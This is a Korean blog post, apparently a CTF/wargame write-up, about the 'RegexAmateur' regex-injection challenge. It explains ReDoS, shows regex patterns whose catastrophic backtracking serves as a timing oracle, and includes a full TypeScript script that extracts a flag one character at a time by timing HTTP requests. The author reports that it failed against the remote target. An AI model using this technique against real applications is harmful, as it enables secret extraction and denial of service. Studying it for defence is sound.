본문 바로가기

RegexAmateur

2021. 12. 28. 16:27

발단

웹케알 랭킹에서 떨어져서 다시 들어가기 위해 문제를 풀던중 저건 어캐풀어야하냐 하는 문제가 있었어요.
Regex injection 이라네요.

이쯤 해킹을 했으면 저기 정규식 입력하는곳에 뭔가를 집어넣으면 오류가 나와서 $flag를 뿜어낸다거나
아님 정규식에 sql의 sleep 같이 동작하는 무언가가 존재하겠고 그걸 써서 풀라는 문제에요.

정규식 주입이 뭐냐고 하면 저도 잘 모르긴 한데 찾아보니깐
https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

Regular expression Denial of Service - ReDoS Software Attack | OWASP

Regular expression Denial of Service - ReDoS on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.

owasp.org

저런거 있더라고요.

정규식은 동기로 작동하는데 이상한거 집어넣어서 무한루프?스러운게 돌게 해서 다른 작업 못하게 만들어서 뻗게 만드는 그런거같더라고요.

근데 문제는 $flag 를 빼내는거지 문제를 뻗게 만드는게 아니잖아요?

그래서 다시 구글링을 해보던중에

1
2
3
4
5
"secretkey".match(/sa([a-z]*){1000|/);
//return
 
"secretkey".match(/se([a-z]*){1000|/);
//deeeeeeeeeeeeeeeeeeelay
cs

저런걸 발견하게 됬어요.

첫번째줄은 문자열이 sa로 시작하지 않으니 바로 끝나는데,
두번째줄은 se로 시작하니 다음으로 넘어가는데, 그 뒤에 엄청난 연산을 하게 만들어서 강제로 딜레이를 걸어버리는 구조인것 같아요.

근데 또

1
2
"se1cretkey".match(/se([a-z]*){1000|/);
//return
cs

저런걸 집어넣으면
se로 시작하니 다음으로 넘어가는데 그 다음은 숫자고, 소문자 a-z만 찾게 되있으니 숫자를 만나고 바로 끝
으로 작동하는것 같더라고요.
그러니 숫자, 영소문자, 영대문자, 특수문자를 전부 찾게끔 해놓으면 연산량도 늘어나고 저런 예외도 없어지겠죠?

어떻게 풀어야 할지 알았으니 테스트용으로 개인 서버에다가 비슷한 환경을 만들고

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
/*code by 최박사 | D0C70R_CH01 (https://gitlab.com/D0C70R_CH01) */
 
import * as request from "request";
import consoleStamp from "console-stamp";
//import 끗
 
////////////////////////////////////////////////////////////////////////////////////////////////
 
const __URL: string = "http://개인.서버/regex.php"
//URL
 
const __HEADER: request.Headers = 
{
    "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"
};
//헤더
 
const __STR1: string = "?regex=";
const __STR2: string = "F";
const __STR3: string = ".......................([0-9|a-z|A-Z|!|@|%23|\\$|%25|%26|\\^|\\*|\\(|\\)|-|_|\\+|=| |\\{|\\}|\\?|`|~|\\\\|\\<|\\>|\\/|\\|:|;|\'|\"]*){1000} |";
 
const __KEYWORD: Array<string> = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','1','2','3','4','5','6','7','8','9','0','!','@','#','\\$','%','\\^','&','\\*','\\(','\\)','_','-','\\+','=','\\|','\\',' ','\{','\}','\/','\\<','\\>','\\\\','\'','\"'];
 
////////////////////////////////////////////////////////////////////////////////////////////////
 
var _cs = consoleStamp(console, {pattern: "[HH:MM:ss.l]"});
 
var startTime: number;
var endTime: number;
var rate: number = 0;
var k: string;
var opt: request.CoreOptions;
 
function floop(i: number): void
{
    if(i == __KEYWORD.length)
    {
        console.log();
        console.log(k + " : " + rate + "ms 소요");
        return;
    }
 
    opt = 
    {
        headers: __HEADER
    };
 
    startTime = Date.now();
    request.get(__URL + __STR1 + encodeURIComponent(__STR2 + __KEYWORD[i] + __STR3), opt, function(e: any, res: request.Response, body: any): void
    {
        endTime = Date.now();
        
        if((endTime - startTime) > rate)
        {
            rate = endTime - startTime;
            k = __KEYWORD[i];
        }
 
        console.log(__KEYWORD[i] + " : " + (endTime - startTime) + "ms 소요");
 
        floop(++i);
    });
}
 
floop(0);
 
// console.log(__URL + __STR1 + encodeURIComponent(__STR2 + __KEYWORD[0] + __STR3));
cs

자동화용 스크립트도 만들고
개인서버에서 잘 돌아가고 FLAG도 잘 뽑아내는걸 확인했어요.

그리고 멸망했어요.
원격에서는 9번째까지는 잘 뽑아내다가 10번째부터 안나오더라고요. 뭔가 내가 모르는 무언가가 있나보죠 뭐.

그렇게 최박사의 웹케알 랭킹에 이름 다시 올리기는 오늘도 실패하고 말았어요.
살려주세요.

https://07001lab.tistory.com/entry/%EC%A0%95%EA%B7%9C%EC%8B%9D-%EB%A7%88%EC%8A%A4%ED%84%B0

"정규식 마스터"

https://07001lab.tistory.com/entry/RegexAmateur RegexAmateur 발단 웹케알 랭킹에서 떨어져서 다시 들어가기 위해 문제를 풀던중 저건 어캐풀어야하냐 하는 문제가 있었어요. Regex injection 이라네요. 이쯤..

07001lab.tistory.com

댓글